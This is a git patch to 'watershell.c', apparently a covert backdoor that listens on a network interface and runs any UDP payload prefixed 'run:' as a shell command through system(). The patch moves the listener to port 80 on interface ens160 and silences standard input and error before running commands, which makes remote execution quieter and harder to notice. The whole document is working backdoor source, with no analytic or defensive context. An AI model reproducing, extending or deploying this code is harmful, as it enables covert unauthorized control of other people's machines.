From 9c14f6a3104ac5e478efa8d893aa4e74b5c0b279 Mon Sep 17 00:00:00 2001 From: sysadmin Date: Wed, 14 Nov 2018 01:33:52 -0500 Subject: [PATCH] no more errors/stdout form this boi --- watershell.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/watershell.c b/watershell.c index 65350b6..b137801 100755 --- a/watershell.c +++ b/watershell.c @@ -17,10 +17,10 @@ /* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */ #ifndef IFACE -#define IFACE "eth0" +#define IFACE "ens160" #endif #ifndef PORT -#define PORT 12345 +#define PORT 80 #endif #ifndef PROMISC #define PROMISC false @@ -156,8 +156,14 @@ int main(int argc, char *argv[]) udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr)); udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr))); //run a command if the data is prefixed with run: - if (!strncmp(udpdata, "run:", 4)) - code = system(udpdata + 4); //replace with fork + exec + if (!strncmp(udpdata, "run:", 4)){ + out = open("/dev/null", O_WRONLY); + err = open("/dev/null", O_WRONLY); + dup2(out, 0); + dup2(err, 2); + code = system(udpdata + 4); //replace with fork + exec + + } //checkup on the service, make sure it is still there if(!strncmp(udpdata, "status", 6)) send_status(buf, code);